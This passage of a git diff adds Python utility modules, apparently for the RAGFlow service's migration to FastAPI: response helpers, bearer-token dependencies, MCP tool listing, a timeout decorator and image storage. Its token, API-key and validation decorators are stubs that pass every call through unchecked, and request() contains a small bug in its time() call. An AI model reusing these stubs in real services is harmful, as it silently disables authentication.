+ return uuid.uuid1().hex
+
+
+def datetime_format(date_time: datetime.datetime) -> datetime.datetime:
+ return datetime.datetime(date_time.year, date_time.month, date_time.day,
+ date_time.hour, date_time.minute, date_time.second)
+
+
+def get_format_time() -> datetime.datetime:
+ return datetime_format(datetime.datetime.now())
+
+
+def str2date(date_time: str):
+ return datetime.datetime.strptime(date_time, '%Y-%m-%d')
+
+
+def elapsed2time(elapsed):
+ seconds = elapsed / 1000
+ minuter, second = divmod(seconds, 60)
+ hour, minuter = divmod(minuter, 60)
+ return '%02d:%02d:%02d' % (hour, minuter, second)
+
+
+def download_img(url):
+ if not url:
+ return ""
+ response = requests.get(url)
+ return "data:" + \
+ response.headers.get('Content-Type', 'image/jpg') + ";" + \
+ "base64," + base64.b64encode(response.content).decode("utf-8")
+
+
+def delta_seconds(date_string: str):
+ dt = datetime.datetime.strptime(date_string, "%Y-%m-%d %H:%M:%S")
+ return (datetime.datetime.now() - dt).total_seconds()
+
+
+def hash_str2int(line: str, mod: int = 10 ** 8) -> int:
+ return int(hashlib.sha1(line.encode("utf-8")).hexdigest(), 16) % mod
diff --git a/api/utils/api_utils.py b/api/utils/api_utils.py
new file mode 100644
index 0000000..5379ce1
--- /dev/null
+++ b/api/utils/api_utils.py
@@ -0,0 +1,873 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import asyncio
+import functools
+import json
+import logging
+import os
+import queue
+import random
+import threading
+import time
+from base64 import b64encode
+from copy import deepcopy
+from functools import wraps
+from hmac import HMAC
+from io import BytesIO
+from typing import Any, Callable, Coroutine, Optional, Type, Union
+from urllib.parse import quote, urlencode
+from uuid import uuid1
+
+import requests
+import trio
+# FastAPI imports
+from fastapi import Request, Response as FastAPIResponse, HTTPException, status
+from fastapi.responses import JSONResponse, FileResponse, StreamingResponse
+from fastapi import Depends
+from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
+from itsdangerous import URLSafeTimedSerializer
+from peewee import OperationalError
+from werkzeug.http import HTTP_STATUS_CODES
+
+from api import settings
+from api.constants import REQUEST_MAX_WAIT_SEC, REQUEST_WAIT_SEC
+from api.db import ActiveEnum
+from api.db.db_models import APIToken
+from api.db.services import UserService
+from api.db.services.llm_service import LLMService
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.utils.json import CustomJSONEncoder, json_dumps
+
+# FastAPI 安全方案
+security = HTTPBearer()
+from api.utils import get_uuid
+from rag.utils.mcp_tool_call_conn import MCPToolCallSession, close_multiple_mcp_toolcall_sessions
+
+requests.models.complexjson.dumps = functools.partial(json.dumps, cls=CustomJSONEncoder)
+
+def serialize_for_json(obj):
+ """
+ Recursively serialize objects to make them JSON serializable.
+ Handles ModelMetaclass and other non-serializable objects.
+ """
+ if hasattr(obj, '__dict__'):
+ # For objects with __dict__, try to serialize their attributes
+ try:
+ return {key: serialize_for_json(value) for key, value in obj.__dict__.items()
+ if not key.startswith('_')}
+ except (AttributeError, TypeError):
+ return str(obj)
+ elif hasattr(obj, '__name__'):
+ # For classes and metaclasses, return their name
+ return f"<{obj.__module__}.{obj.__name__}>" if hasattr(obj, '__module__') else f"<{obj.__name__}>"
+ elif isinstance(obj, (list, tuple)):
+ return [serialize_for_json(item) for item in obj]
+ elif isinstance(obj, dict):
+ return {key: serialize_for_json(value) for key, value in obj.items()}
+ elif isinstance(obj, (str, int, float, bool)) or obj is None:
+ return obj
+ else:
+ # Fallback: convert to string representation
+ return str(obj)
+
+def request(**kwargs):
+ sess = requests.Session()
+ stream = kwargs.pop("stream", sess.stream)
+ timeout = kwargs.pop("timeout", None)
+ kwargs["headers"] = {k.replace("_", "-").upper(): v for k, v in kwargs.get("headers", {}).items()}
+ prepped = requests.Request(**kwargs).prepare()
+
+ if settings.CLIENT_AUTHENTICATION and settings.HTTP_APP_KEY and settings.SECRET_KEY:
+ timestamp = str(round(time() * 1000))
+ nonce = str(uuid1())
+ signature = b64encode(
+ HMAC(
+ settings.SECRET_KEY.encode("ascii"),
+ b"\n".join(
+ [
+ timestamp.encode("ascii"),
+ nonce.encode("ascii"),
+ settings.HTTP_APP_KEY.encode("ascii"),
+ prepped.path_url.encode("ascii"),
+ prepped.body if kwargs.get("json") else b"",
+ urlencode(sorted(kwargs["data"].items()), quote_via=quote, safe="-._~").encode("ascii") if kwargs.get("data") and isinstance(kwargs["data"], dict) else b"",
+ ]
+ ),
+ "sha1",
+ ).digest()
+ ).decode("ascii")
+
+ prepped.headers.update(
+ {
+ "TIMESTAMP": timestamp,
+ "NONCE": nonce,
+ "APP-KEY": settings.HTTP_APP_KEY,
+ "SIGNATURE": signature,
+ }
+ )
+
+ return sess.send(prepped, stream=stream, timeout=timeout)
+
+
+def get_exponential_backoff_interval(retries, full_jitter=False):
+ """Calculate the exponential backoff wait time."""
+ # Will be zero if factor equals 0
+ countdown = min(REQUEST_MAX_WAIT_SEC, REQUEST_WAIT_SEC * (2**retries))
+ # Full jitter according to
+ # https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/
+ if full_jitter:
+ countdown = random.randrange(countdown + 1)
+ # Adjust according to maximum wait time and account for negative values.
+ return max(0, countdown)
+
+
+def get_data_error_result(code=settings.RetCode.DATA_ERROR, message="Sorry! Data missing!"):
+ logging.exception(Exception(message))
+ result_dict = {"code": code, "message": message}
+ response = {}
+ for key, value in result_dict.items():
+ if value is None and key != "code":
+ continue
+ else:
+ response[key] = value
+ return JSONResponse(content=response)
+
+
+def server_error_response(e):
+ logging.exception(e)
+ try:
+ if e.code == 401:
+ return get_json_result(code=401, message=repr(e))
+ except BaseException:
+ pass
+ if len(e.args) > 1:
+ try:
+ serialized_data = serialize_for_json(e.args[1])
+ return get_json_result(code= settings.RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=serialized_data)
+ except Exception:
+ return get_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=None)
+ if repr(e).find("index_not_found_exception") >= 0:
+ return get_json_result(code=settings.RetCode.EXCEPTION_ERROR, message="No chunk found, please upload file and parse it.")
+
+ return get_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e))
+
+
+def error_response(response_code, message=None):
+ if message is None:
+ message = HTTP_STATUS_CODES.get(response_code, "Unknown Error")
+
+ return JSONResponse(
+ content={
+ "message": message,
+ "code": response_code,
+ },
+ status_code=response_code,
+ )
+
+
+# FastAPI 版本:使用 Pydantic 模型进行验证,而不是装饰器
+# 这个装饰器在 FastAPI 中不再需要,因为 FastAPI 会自动验证 Pydantic 模型
+def validate_request(*args, **kwargs):
+ """
+ 废弃的装饰器:在 FastAPI 中使用 Pydantic 模型进行验证
+ 这个函数保留是为了向后兼容,但不会执行任何验证
+ """
+ def wrapper(func):
+ @wraps(func)
+ def decorated_function(*_args, **_kwargs):
+ # FastAPI 中不需要手动验证,Pydantic 会自动处理
+ return func(*_args, **_kwargs)
+ return decorated_function
+ return wrapper
+
+
+def not_allowed_parameters(*params):
+ """
+ 废弃的装饰器:在 FastAPI 中使用 Pydantic 模型进行验证
+ 这个函数保留是为了向后兼容,但不会执行任何验证
+ """
+ def decorator(f):
+ def wrapper(*args, **kwargs):
+ # FastAPI 中不需要手动验证,Pydantic 会自动处理
+ return f(*args, **kwargs)
+ return wrapper
+ return decorator
+
+
+def active_required(f):
+ """
+ 废弃的装饰器:在 FastAPI 中使用依赖注入进行用户验证
+ 这个函数保留是为了向后兼容,但不会执行任何验证
+ """
+ @wraps(f)
+ def wrapper(*args, **kwargs):
+ # FastAPI 中使用依赖注入进行用户验证
+ return f(*args, **kwargs)
+ return wrapper
+
+
+def is_localhost(ip):
+ return ip in {"127.0.0.1", "::1", "[::1]", "localhost"}
+
+
+def send_file_in_mem(data, filename):
+ """
+ 发送内存中的文件数据
+ 注意:在 FastAPI 中,这个函数需要接收 Request 参数来正确处理响应
+ """
+ if not isinstance(data, (str, bytes)):
+ data = json_dumps(data)
+ if isinstance(data, str):
+ data = data.encode("utf-8")
+
+ f = BytesIO()
+ f.write(data)
+ f.seek(0)
+
+ # 在 FastAPI 中,应该使用 FileResponse 或 StreamingResponse
+ # 这里返回文件对象,调用者需要处理响应
+ return f
+
+
+def get_json_result(code=settings.RetCode.SUCCESS, message="success", data=None):
+ response = {"code": code, "message": message, "data": data}
+ return JSONResponse(content=response)
+
+
+def apikey_required(func):
+ """
+ 废弃的装饰器:在 FastAPI 中使用依赖注入进行 API Key 验证
+ 这个函数保留是为了向后兼容,但不会执行任何验证
+ """
+ @wraps(func)
+ def decorated_function(*args, **kwargs):
+ # FastAPI 中使用依赖注入进行 API Key 验证
+ return func(*args, **kwargs)
+ return decorated_function
+
+
+def build_error_result(code=settings.RetCode.FORBIDDEN, message="success"):
+ response = {"code": code, "message": message}
+ return JSONResponse(content=response, status_code=code)
+
+
+def construct_response(code=settings.RetCode.SUCCESS, message="success", data=None, auth=None):
+ result_dict = {"code": code, "message": message, "data": data}
+ response_dict = {}
+ for key, value in result_dict.items():
+ if value is None and key != "code":
+ continue
+ else:
+ response_dict[key] = value
+
+ headers = {
+ "Access-Control-Allow-Origin": "*",
+ "Access-Control-Allow-Method": "*",
+ "Access-Control-Allow-Headers": "*",
+ "Access-Control-Expose-Headers": "Authorization"
+ }
+ if auth:
+ headers["Authorization"] = auth
+
+ return JSONResponse(content=response_dict, headers=headers)
+
+
+def construct_result(code=settings.RetCode.DATA_ERROR, message="data is missing"):
+ result_dict = {"code": code, "message": message}
+ response = {}
+ for key, value in result_dict.items():
+ if value is None and key != "code":
+ continue
+ else:
+ response[key] = value
+ return JSONResponse(content=response)
+
+
+def construct_json_result(code=settings.RetCode.SUCCESS, message="success", data=None):
+ if data is None:
+ return JSONResponse(content={"code": code, "message": message})
+ else:
+ return JSONResponse(content={"code": code, "message": message, "data": data})
+
+
+def construct_error_response(e):
+ logging.exception(e)
+ try:
+ if e.code == 401:
+ return construct_json_result(code=settings.RetCode.UNAUTHORIZED, message=repr(e))
+ except BaseException:
+ pass
+ if len(e.args) > 1:
+ return construct_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=e.args[1])
+ return construct_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e))
+
+
+def token_required(func):
+ """
+ 废弃的装饰器:在 FastAPI 中使用依赖注入进行 Token 验证
+ 这个函数保留是为了向后兼容,但不会执行任何验证
+ """
+ @wraps(func)
+ def decorated_function(*args, **kwargs):
+ # FastAPI 中使用依赖注入进行 Token 验证
+ return func(*args, **kwargs)
+ return decorated_function
+
+
+def get_result(code=settings.RetCode.SUCCESS, message="", data=None):
+ if code == 0:
+ if data is not None:
+ response = {"code": code, "data": data}
+ else:
+ response = {"code": code}
+ else:
+ response = {"code": code, "message": message}
+ return JSONResponse(content=response)
+
+
+def get_error_data_result(
+ message="Sorry! Data missing!",
+ code=settings.RetCode.DATA_ERROR,
+):
+ result_dict = {"code": code, "message": message}
+ response = {}
+ for key, value in result_dict.items():
+ if value is None and key != "code":
+ continue
+ else:
+ response[key] = value
+ return JSONResponse(content=response)
+
+
+def get_error_argument_result(message="Invalid arguments"):
+ return get_result(code=settings.RetCode.ARGUMENT_ERROR, message=message)
+
+
+# FastAPI 依赖注入函数
+async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """获取当前用户 - FastAPI 版本"""
+ from api.db import StatusEnum
+ try:
+ jwt = URLSafeTimedSerializer(secret_key=settings.SECRET_KEY)
+ authorization = credentials.credentials
+
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication attempt with empty access token"
+ )
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication attempt with invalid token format: {len(access_token)} chars"
+ )
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication attempt with empty access token"
+ )
+ return user[0]
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication failed: Invalid access token"
+ )
+ except Exception as e:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication failed: {str(e)}"
+ )
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication failed: No authorization header"
+ )
+ except Exception as e:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication failed: {str(e)}"
+ )
+
+
+async def get_current_user_optional(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """获取当前用户(可选)- FastAPI 版本"""
+ try:
+ return await get_current_user(credentials)
+ except HTTPException:
+ return None
+
+
+async def verify_api_key(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """验证 API Key - FastAPI 版本"""
+ try:
+ token = credentials.credentials
+ objs = APIToken.query(token=token)
+ if not objs:
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail="API-KEY is invalid!"
+ )
+ return objs[0]
+ except Exception as e:
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"API Key verification failed: {str(e)}"
+ )
+
+
+def create_file_response(data, filename: str, media_type: str = "application/octet-stream"):
+ """创建文件响应 - FastAPI 版本"""
+ if not isinstance(data, (str, bytes)):
+ data = json_dumps(data)
+ if isinstance(data, str):
+ data = data.encode("utf-8")
+
+ return StreamingResponse(
+ BytesIO(data),
+ media_type=media_type,
+ headers={"Content-Disposition": f"attachment; filename={filename}"}
+ )
+
+
+def get_error_permission_result(message="Permission error"):
+ return get_result(code=settings.RetCode.PERMISSION_ERROR, message=message)
+
+
+def get_error_operating_result(message="Operating error"):
+ return get_result(code=settings.RetCode.OPERATING_ERROR, message=message)
+
+
+def generate_confirmation_token(tenant_id):
+ serializer = URLSafeTimedSerializer(tenant_id)
+ return "ragflow-" + serializer.dumps(get_uuid(), salt=tenant_id)[2:34]
+
+
+def get_parser_config(chunk_method, parser_config):
+ if not chunk_method:
+ chunk_method = "naive"
+
+ # Define default configurations for each chunking method
+ key_mapping = {
+ "naive": {"chunk_token_num": 512, "delimiter": r"\n", "html4excel": False, "layout_recognize": "DeepDOC", "raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "qa": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "tag": None,
+ "resume": None,
+ "manual": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "table": None,
+ "paper": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "book": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "laws": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "presentation": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}},
+ "one": None,
+ "knowledge_graph": {
+ "chunk_token_num": 8192,
+ "delimiter": r"\n",
+ "entity_types": ["organization", "person", "location", "event", "time"],
+ "raptor": {"use_raptor": False},
+ "graphrag": {"use_graphrag": False},
+ },
+ "email": None,
+ "picture": None,
+ }
+
+ default_config = key_mapping[chunk_method]
+
+ # If no parser_config provided, return default
+ if not parser_config:
+ return default_config
+
+ # If parser_config is provided, merge with defaults to ensure required fields exist
+ if default_config is None:
+ return parser_config
+
+ # Ensure raptor and graphrag fields have default values if not provided
+ merged_config = deep_merge(default_config, parser_config)
+
+ return merged_config
+
+
+def get_data_openai(
+ id=None,
+ created=None,
+ model=None,
+ prompt_tokens=0,
+ completion_tokens=0,
+ content=None,
+ finish_reason=None,
+ object="chat.completion",
+ param=None,
+ stream=False
+):
+ total_tokens = prompt_tokens + completion_tokens
+
+ if stream:
+ return {
+ "id": f"{id}",
+ "object": "chat.completion.chunk",
+ "model": model,
+ "choices": [{
+ "delta": {"content": content},
+ "finish_reason": finish_reason,
+ "index": 0,
+ }],
+ }
+
+ return {
+ "id": f"{id}",
+ "object": object,
+ "created": int(time.time()) if created else None,
+ "model": model,
+ "param": param,
+ "usage": {
+ "prompt_tokens": prompt_tokens,
+ "completion_tokens": completion_tokens,
+ "total_tokens": total_tokens,
+ "completion_tokens_details": {
+ "reasoning_tokens": 0,
+ "accepted_prediction_tokens": 0,
+ "rejected_prediction_tokens": 0,
+ },
+ },
+ "choices": [{
+ "message": {
+ "role": "assistant",
+ "content": content
+ },
+ "logprobs": None,
+ "finish_reason": finish_reason,
+ "index": 0,
+ }],
+ }
+
+
+def check_duplicate_ids(ids, id_type="item"):
+ """
+ Check for duplicate IDs in a list and return unique IDs and error messages.
+
+ Args:
+ ids (list): List of IDs to check for duplicates
+ id_type (str): Type of ID for error messages (e.g., 'document', 'dataset', 'chunk')
+
+ Returns:
+ tuple: (unique_ids, error_messages)
+ - unique_ids (list): List of unique IDs
+ - error_messages (list): List of error messages for duplicate IDs
+ """
+ id_count = {}
+ duplicate_messages = []
+
+ # Count occurrences of each ID
+ for id_value in ids:
+ id_count[id_value] = id_count.get(id_value, 0) + 1
+
+ # Check for duplicates
+ for id_value, count in id_count.items():
+ if count > 1:
+ duplicate_messages.append(f"Duplicate {id_type} ids: {id_value}")
+
+ # Return unique IDs and error messages
+ return list(set(ids)), duplicate_messages
+
+
+def verify_embedding_availability(embd_id: str, tenant_id: str) -> tuple[bool, JSONResponse | None]:
+ """
+ Verifies availability of an embedding model for a specific tenant.
+
+ Performs comprehensive verification through:
+ 1. Identifier Parsing: Decomposes embd_id into name and factory components
+ 2. System Verification: Checks model registration in LLMService
+ 3. Tenant Authorization: Validates tenant-specific model assignments
+ 4. Built-in Model Check: Confirms inclusion in predefined system models
+
+ Args:
+ embd_id (str): Unique identifier for the embedding model in format "model_name@factory"
+ tenant_id (str): Tenant identifier for access control
+
+ Returns:
+ tuple[bool, Response | None]:
+ - First element (bool):
+ - True: Model is available and authorized
+ - False: Validation failed
+ - Second element contains:
+ - None on success
+ - Error detail dict on failure
+
+ Raises:
+ ValueError: When model identifier format is invalid
+ OperationalError: When database connection fails (auto-handled)
+
+ Examples:
+ >>> verify_embedding_availability("text-embedding@openai", "tenant_123")
+ (True, None)
+
+ >>> verify_embedding_availability("invalid_model", "tenant_123")
+ (False, {'code': 101, 'message': "Unsupported model: "})
+ """
+ try:
+ llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(embd_id)
+ in_llm_service = bool(LLMService.query(llm_name=llm_name, fid=llm_factory, model_type="embedding"))
+
+ tenant_llms = TenantLLMService.get_my_llms(tenant_id=tenant_id)
+ is_tenant_model = any(llm["llm_name"] == llm_name and llm["llm_factory"] == llm_factory and llm["model_type"] == "embedding" for llm in tenant_llms)
+
+ is_builtin_model = embd_id in settings.BUILTIN_EMBEDDING_MODELS
+ if not (is_builtin_model or is_tenant_model or in_llm_service):
+ return False, get_error_argument_result(f"Unsupported model: <{embd_id}>")
+
+ if not (is_builtin_model or is_tenant_model):
+ return False, get_error_argument_result(f"Unauthorized model: <{embd_id}>")
+ except OperationalError as e:
+ logging.exception(e)
+ return False, get_error_data_result(message="Database operation failed")
+
+ return True, None
+
+
+def deep_merge(default: dict, custom: dict) -> dict:
+ """
+ Recursively merges two dictionaries with priority given to `custom` values.
+
+ Creates a deep copy of the `default` dictionary and iteratively merges nested
+ dictionaries using a stack-based approach. Non-dict values in `custom` will
+ completely override corresponding entries in `default`.
+
+ Args:
+ default (dict): Base dictionary containing default values.
+ custom (dict): Dictionary containing overriding values.
+
+ Returns:
+ dict: New merged dictionary combining values from both inputs.
+
+ Example:
+ >>> from copy import deepcopy
+ >>> default = {"a": 1, "nested": {"x": 10, "y": 20}}
+ >>> custom = {"b": 2, "nested": {"y": 99, "z": 30}}
+ >>> deep_merge(default, custom)
+ {'a': 1, 'b': 2, 'nested': {'x': 10, 'y': 99, 'z': 30}}
+
+ >>> deep_merge({"config": {"mode": "auto"}}, {"config": "manual"})
+ {'config': 'manual'}
+
+ Notes:
+ 1. Merge priority is always given to `custom` values at all nesting levels
+ 2. Non-dict values (e.g. list, str) in `custom` will replace entire values
+ in `default`, even if the original value was a dictionary
+ 3. Time complexity: O(N) where N is total key-value pairs in `custom`
+ 4. Recommended for configuration merging and nested data updates
+ """
+ merged = deepcopy(default)
+ stack = [(merged, custom)]
+
+ while stack:
+ base_dict, override_dict = stack.pop()
+
+ for key, val in override_dict.items():
+ if key in base_dict and isinstance(val, dict) and isinstance(base_dict[key], dict):
+ stack.append((base_dict[key], val))
+ else:
+ base_dict[key] = val
+
+ return merged
+
+
+def remap_dictionary_keys(source_data: dict, key_aliases: dict = None) -> dict:
+ """
+ Transform dictionary keys using a configurable mapping schema.
+
+ Args:
+ source_data: Original dictionary to process
+ key_aliases: Custom key transformation rules (Optional)
+ When provided, overrides default key mapping
+ Format: {: , ...}
+
+ Returns:
+ dict: New dictionary with transformed keys preserving original values
+
+ Example:
+ >>> input_data = {"old_key": "value", "another_field": 42}
+ >>> remap_dictionary_keys(input_data, {"old_key": "new_key"})
+ {'new_key': 'value', 'another_field': 42}
+ """
+ DEFAULT_KEY_MAP = {
+ "chunk_num": "chunk_count",
+ "doc_num": "document_count",
+ "parser_id": "chunk_method",
+ "embd_id": "embedding_model",
+ }
+
+ transformed_data = {}
+ mapping = key_aliases or DEFAULT_KEY_MAP
+
+ for original_key, value in source_data.items():
+ mapped_key = mapping.get(original_key, original_key)
+ transformed_data[mapped_key] = value
+
+ return transformed_data
+
+
+def group_by(list_of_dict, key):
+ res = {}
+ for item in list_of_dict:
+ if item[key] in res.keys():
+ res[item[key]].append(item)
+ else:
+ res[item[key]] = [item]
+ return res
+
+
+def get_mcp_tools(mcp_servers: list, timeout: float | int = 10) -> tuple[dict, str]:
+ results = {}
+ tool_call_sessions = []
+ try:
+ for mcp_server in mcp_servers:
+ server_key = mcp_server.id
+
+ cached_tools = mcp_server.variables.get("tools", {})
+
+ tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables)
+ tool_call_sessions.append(tool_call_session)
+
+ try:
+ tools = tool_call_session.get_tools(timeout)
+ except Exception:
+ tools = []
+
+ results[server_key] = []
+ for tool in tools:
+ tool_dict = tool.model_dump()
+ cached_tool = cached_tools.get(tool_dict["name"], {})
+
+ tool_dict["enabled"] = cached_tool.get("enabled", True)
+ results[server_key].append(tool_dict)
+
+ # PERF: blocking call to close sessions — consider moving to background thread or task queue
+ close_multiple_mcp_toolcall_sessions(tool_call_sessions)
+ return results, ""
+ except Exception as e:
+ return {}, str(e)
+
+
+TimeoutException = Union[Type[BaseException], BaseException]
+OnTimeoutCallback = Union[Callable[..., Any], Coroutine[Any, Any, Any]]
+
+
+def timeout(seconds: float | int | str = None, attempts: int = 2, *, exception: Optional[TimeoutException] = None, on_timeout: Optional[OnTimeoutCallback] = None):
+ if isinstance(seconds, str):
+ seconds = float(seconds)
+ def decorator(func):
+ @wraps(func)
+ def wrapper(*args, **kwargs):
+ result_queue = queue.Queue(maxsize=1)
+
+ def target():
+ try:
+ result = func(*args, **kwargs)
+ result_queue.put(result)
+ except Exception as e:
+ result_queue.put(e)
+
+ thread = threading.Thread(target=target)
+ thread.daemon = True
+ thread.start()
+
+ for a in range(attempts):
+ try:
+ if os.environ.get("ENABLE_TIMEOUT_ASSERTION"):
+ result = result_queue.get(timeout=seconds)
+ else:
+ result = result_queue.get()
+ if isinstance(result, Exception):
+ raise result
+ return result
+ except queue.Empty:
+ pass
+ raise TimeoutError(f"Function '{func.__name__}' timed out after {seconds} seconds and {attempts} attempts.")
+
+ @wraps(func)
+ async def async_wrapper(*args, **kwargs) -> Any:
+ if seconds is None:
+ return await func(*args, **kwargs)
+
+ for a in range(attempts):
+ try:
+ if os.environ.get("ENABLE_TIMEOUT_ASSERTION"):
+ with trio.fail_after(seconds):
+ return await func(*args, **kwargs)
+ else:
+ return await func(*args, **kwargs)
+ except trio.TooSlowError:
+ if a < attempts - 1:
+ continue
+ if on_timeout is not None:
+ if callable(on_timeout):
+ result = on_timeout()
+ if isinstance(result, Coroutine):
+ return await result
+ return result
+ return on_timeout
+
+ if exception is None:
+ raise TimeoutError(f"Operation timed out after {seconds} seconds and {attempts} attempts.")
+
+ if isinstance(exception, BaseException):
+ raise exception
+
+ if isinstance(exception, type) and issubclass(exception, BaseException):
+ raise exception(f"Operation timed out after {seconds} seconds and {attempts} attempts.")
+
+ raise RuntimeError("Invalid exception type provided")
+
+ if asyncio.iscoroutinefunction(func):
+ return async_wrapper
+ return wrapper
+
+ return decorator
+
+
+async def is_strong_enough(chat_model, embedding_model):
+ count = settings.STRONG_TEST_COUNT
+ if not chat_model or not embedding_model:
+ return
+ if isinstance(count, int) and count <= 0:
+ return
+
+ @timeout(60, 2)
+ async def _is_strong_enough():
+ nonlocal chat_model, embedding_model
+ if embedding_model:
+ with trio.fail_after(10):
+ _ = await trio.to_thread.run_sync(lambda: embedding_model.encode(["Are you strong enough!?"]))
+ if chat_model:
+ with trio.fail_after(30):
+ res = await trio.to_thread.run_sync(lambda: chat_model.chat("Nothing special.", [{"role": "user", "content": "Are you strong enough!?"}], {}))
+ if res.find("**ERROR**") >= 0:
+ raise Exception(res)
+
+ # Pressure test for GraphRAG task
+ async with trio.open_nursery() as nursery:
+ for _ in range(count):
+ nursery.start_soon(_is_strong_enough)
diff --git a/api/utils/base64_image.py b/api/utils/base64_image.py
new file mode 100644
index 0000000..25afcf3
--- /dev/null
+++ b/api/utils/base64_image.py
@@ -0,0 +1,56 @@
+import base64
+import logging
+from functools import partial
+from io import BytesIO
+
+from PIL import Image
+
+test_image_base64 = "iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAIAAAD/gAIDAAAA6ElEQVR4nO3QwQ3AIBDAsIP9d25XIC+EZE8QZc18w5l9O+AlZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBWYFZgVmBT+IYAHHLHkdEgAAAABJRU5ErkJggg=="
+test_image = base64.b64decode(test_image_base64)
+
+
+async def image2id(d: dict, storage_put_func: partial, objname:str, bucket:str="imagetemps"):
+ import logging
+ from io import BytesIO
+ import trio
+ from rag.svr.task_executor import minio_limiter
+ if not d.get("image"):
+ return
+
+ with BytesIO() as output_buffer:
+ if isinstance(d["image"], bytes):
+ output_buffer.write(d["image"])
+ output_buffer.seek(0)
+ else:
+ # If the image is in RGBA mode, convert it to RGB mode before saving it in JPEG format.
+ if d["image"].mode in ("RGBA", "P"):
+ converted_image = d["image"].convert("RGB")
+ d["image"] = converted_image
+ try:
+ d["image"].save(output_buffer, format='JPEG')
+ except OSError as e:
+ logging.warning(
+ "Saving image exception, ignore: {}".format(str(e)))
+
+ async with minio_limiter:
+ await trio.to_thread.run_sync(lambda: storage_put_func(bucket=bucket, fnm=objname, binary=output_buffer.getvalue()))
+ d["img_id"] = f"{bucket}-{objname}"
+ if not isinstance(d["image"], bytes):
+ d["image"].close()
+ del d["image"] # Remove image reference
+
+
+def id2image(image_id:str|None, storage_get_func: partial):
+ if not image_id:
+ return
+ arr = image_id.split("-")
+ if len(arr) != 2:
+ return
+ bkt, nm = image_id.split("-")
+ try:
+ blob = storage_get_func(bucket=bkt, filename=nm)
+ if not blob:
+ return
+ return Image.open(BytesIO(blob))
+ except Exception as e:
+ logging.exception(e)
diff --git a/api/utils/commands.py b/api/utils/commands.py
new file mode 100644
index 0000000..a1a8d02
--- /dev/null
+++ b/api/utils/commands.py
@@ -0,0 +1,78 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import base64
+import click
+import re
+
+from flask import Flask
+from werkzeug.security import generate_password_hash
+
+from api.db.services import UserService
+
+
+@click.command('reset-password', help='Reset the account password.')
+@click.option('--email', prompt=True, help='The email address of the account whose password you need to reset')
+@click.option('--new-password', prompt=True, help='the new password.')
+@click.option('--password-confirm', prompt=True, help='the new password confirm.')
+def reset_password(email, new_password, password_confirm):
+ if str(new_password).strip() != str(password_confirm).strip():
+ click.echo(click.style('sorry. The two passwords do not match.', fg='red'))
+ return
+ user = UserService.query(email=email)
+ if not user:
+ click.echo(click.style('sorry. The Email is not registered!.', fg='red'))
+ return
+ encode_password = base64.b64encode(new_password.encode('utf-8')).decode('utf-8')
+ password_hash = generate_password_hash(encode_password)
+ user_dict = {
